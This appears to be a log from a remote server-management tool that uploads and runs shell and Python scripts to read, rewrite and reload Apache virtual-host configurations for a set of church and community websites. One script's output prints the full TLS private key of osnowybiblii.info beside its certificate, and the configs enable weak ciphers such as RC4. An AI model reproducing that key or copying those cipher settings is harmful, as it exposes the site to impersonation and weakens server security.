	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-27 06:00:15: 

chmod 755 /tmp/pkp801112; /tmp/pkp801112; rm /tmp/pkp801112

2025-11-27 06:00:15: 


dir=/etc/ssl/certs


2025-11-27 06:00:15: 

PUT: /tmp/pkp667412

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/osnowybiblii_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-27 06:00:15: 

chmod 755 /tmp/pkp667412; /tmp/pkp667412; rm /tmp/pkp667412

2025-11-27 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnowybiblii_www_info.conf 45

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-27 06:00:15: 

PUT: /tmp/pkp859208

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=osnowybiblii_www_info.conf
TARGET=/etc/apache2/sites-enabled/osnowybiblii_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/osnowybiblii_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/osnowybiblii_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/osnowybiblii_www_info.conf= 1'
fi


2025-11-27 06:00:15: 

chmod 755 /tmp/pkp859208; /tmp/pkp859208; rm /tmp/pkp859208

2025-11-27 06:00:15: 




2025-11-27 06:00:15: 

PUT: /tmp/pkp157216

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-27 06:00:15: 

chmod 755 /tmp/pkp157216; /tmp/pkp157216; rm /tmp/pkp157216

2025-11-27 06:00:16: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-27 06:00:16: Establishing a connection
2025-11-27 06:00:16: 

PUT: /tmp/pkp489584

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-27 06:00:16: 

chmod 755 /tmp/pkp489584; /tmp/pkp489584; rm /tmp/pkp489584

2025-11-27 06:00:16: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-27 06:00:16: 

PUT: /tmp/pkp224281

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/osnowybiblii_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-27 06:00:16: 

chmod 755 /tmp/pkp224281; /tmp/pkp224281; rm /tmp/pkp224281

2025-11-27 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnowybiblii_www_info.conf	1414

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-27 06:00:16: 

PUT: /tmp/pkp694449

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-27 06:00:16: 

chmod 755 /tmp/pkp694449; /tmp/pkp694449; rm /tmp/pkp694449

2025-11-27 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt	5385
c1:9a:ab:f5:2b:d5:d7:ba:ab:fa:30:b2:2f:a9:8c:bb

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBTfy1K2G9PeqiT9/cS2QVOKIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTI3MDUwMTQ0WhcNMjYwMjI1MDUwMTQzWjAcMRowGAYDVQQD
ExFvc25vd3liaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAOPHVgEcj/HK4CPuUxbgOgg1vznZEIANWcWXig1569QD6Bd/ahiqLqGTrKKh
pxePDw3MlmwNI95fbb9pZNzisoyrG/6UysXLFjeKCXe1eZSq7eZP/OxFJRJUs8j7
yLWfcKpvDhYuXlArdPSRW1O66GJ2Q8s4Z8hepskXuC/nxKc64dkKrC81iCThTfxi
lGXXxQx1zqq06R7KGTBnMigg6pd56EUNC+7uLEfCRnO2SXp4gzxfLJQVetGb4jxf
HcsRNH/sZEouFj2DAP/ATEryJY9rzY6QMHIBc7ZJwGmm3O2kaE78yKCsrOvthD97
LfSHO4rDW++UukmRFEeiqPyOSAsCAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU+Jqb/1qgzn838EteoRm4RzOYRtkwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFvc25vd3liaWJsaWkuaW5m
b4IVd3d3Lm9zbm93eWJpYmxpaS5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0G
A1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOS5jcmwwggEF
BgorBgEEAdZ5AgQCBIH2BIHzAPEAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWF
sMsUwxRY5wAAAZrD5eWDAAAEAwBIMEYCIQCiu04EvJ0jasZrepayBUtJeEEZgzyH
x0zuPT+u7+XO+gIhAIS4/wHHJo3Hv8tG9Vx2V1cBOi8yaYOYckXGegtMt8AQAHYA
DleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGaw+XlWwAABAMARzBF
AiEAi8bEYb4nX+tYopz4Q9AepCiXJLSES4S6cyDSj6AOoh0CIHoF36YWplqHC7Jy
BfOwLcZJty7g74fMusFun0pG9VwfMA0GCSqGSIb3DQEBCwUAA4IBAQAubabMSKVs
7j7rgTcjUKYFbua1G8BZcm2Z6uMeXfadWHUXo1r7V1Vaix8DrZ9uRZMi2F5mWXlo
i+/Mp5v69ENjx4+2NlWNDkdQzoHXCoStczHiDsnSG0Q/SaAd5svGHzU8uJKm0DZH
22NW0eCwSdvaDre5vQtF45OPfsNyKb6PcKlj6hTk428M4f6GVy9Z8I5vK92Y19Ag
VzaXtm7FKki8uJLpV9tPLmcZiMq+LlytDNyj+K1MgA4S7qZ0cTdXgHoGSMiGICb3
7s93d6QlFC2UwLp9QPNAaZU7QDxX449qngqTGK6QSIYGEBEe/GLwh2K3acyZMyIo
4akeA2VcCMu3
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDjx1YBHI/xyuAj
7lMW4DoINb852RCADVnFl4oNeevUA+gXf2oYqi6hk6yioacXjw8NzJZsDSPeX22/
aWTc4rKMqxv+lMrFyxY3igl3tXmUqu3mT/zsRSUSVLPI+8i1n3Cqbw4WLl5QK3T0
kVtTuuhidkPLOGfIXqbJF7gv58SnOuHZCqwvNYgk4U38YpRl18UMdc6qtOkeyhkw
ZzIoIOqXeehFDQvu7ixHwkZztkl6eIM8XyyUFXrRm+I8Xx3LETR/7GRKLhY9gwD/
wExK8iWPa82OkDByAXO2ScBpptztpGhO/MigrKzr7YQ/ey30hzuKw1vvlLpJkRRH
oqj8jkgLAgMBAAECggEAFGNBNXRDBhdsnIq2cTO8vgNhjGH7chq/0EnSF4a0LxPy
cDf9XRvOdLPtHdluRVOOu2N2i1FZxouwHRPn7UV1SdX++XiD9dRJtsrqMgbSTRZH
mPfL4bIGsW9XcEPpISiWQwsRrbaUxoQ9Qa7JB+OQ7U88njH8SBkAwLsYx2DtXzJg
vAh47bNWNoy6PwogHw36u1EkwqK3IMuIk2+V7RDPkSozw7pObd3h8cb+BExTZ4ND
7q6A3HJrwb2eT4Hjwx+IdH3ypbwVHC2ITlc6BUpZOwXL8PymBCiQ9z7JX0CjBtZP
k3jggu34Wfj1x6XKsN8J0tN3I1GRVD8trbgy7OV04QKBgQD/vSQRmutS+ftNYrKB
ZveoC/EItWSxyIKqfNj7gIxVqQrJCMMBw+UJT3LCYP4jcz4nUHuQa3MX1hAH//qj
RgffoV96XF4DD2U/fPWZ7/PZErAoCLDGzSnH039VqyNKU+GWg3/et2dzyCnT1e2w
macuX5LLYTsdFu3E4HjCYWpMAwKBgQDkAuKiVwGBSHI7FwJrGX4EVO0o8kgFm3cd
v4GV2f9jWxxsvtxn5vEOCXbjrbfmUaadH7dKVVq3/SUIAppGzdxmPMxRjByVvl3M
3PmjlQUr3vfqtDGtKlwHtykBIWehSX1pag+MnVBAj60BpVwpAtGelmdhNvMHV3L1
dnGIHk9JWQKBgBg/kNnyfHmjpkZSI2bNopHWgAY5XNDWmD0eFVzTdXrxykoBgKv8
LQ1S8SipFa+6z5ver7ij14fdDiwUA2nTzA9SN8FcXLWhkhIRASCVdeOROA6ztD9F
WL7PuPUggvobNfqVgVxWu4Jo6j5hvGXQS9/DxCFwmLBLakQOnKSho/iNAoGBALZc
mGa+r7V2++XGwWhnOyK7yfK11GSnst1YDYyMjnYoqNNQ03dGfgV8DFqM1kifhWKl
uzL4kVYWYUfGzR1UCLK8ba3LIhGh7+Op2P+8cCZmbmKJPDIDbxe8pk8BKKEW5fcp
nMYaC9WXFAf8+XjTiFQOdyCJklaM2qT31lXH6CIBAoGAa2WOGEjaNavrWiJIensM
srdtO6Y/Ud77B6t9Sel7MrOGkrg2XvoM3GIKSWV1EMtTzlzFNfDxpi+EmFfYmeTb
H3Ayo2xUvEKFwOxFDfw9t5b3nYfIHVTnPtA1GmtURfQZd2CGdisH65wh72rTojNZ
mQYlW+13w1QGx/ijsaVq7tk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-27 06:00:16: Establishing a connection
2025-11-27 06:00:17: Establishing a connection
2025-11-27 06:00:18: 

PUT: /tmp/pkp854330

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-27 06:00:19: 

chmod 755 /tmp/pkp854330; /tmp/pkp854330; rm /tmp/pkp854330

2025-11-27 06:00:19: 


0


2025-11-27 13:19:35: Establishing a connection
2025-11-27 13:20:07: Establishing a connection
2025-11-27 13:20:08: 

PUT: /tmp/pkp411389

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/kjvdictionary_store_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-27 13:20:08: 

chmod 755 /tmp/pkp411389; /tmp/pkp411389; rm /tmp/pkp411389

2025-11-27 13:20:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/kjvdictionary_store_org.conf 0



2025-11-27 13:20:08: 

PUT: /tmp/pkp816112

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_store_org.conf
TARGET=sites-available/kjvdictionary_store_org.conf
DOCROOT=/var/www/kjvdictionary_store
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

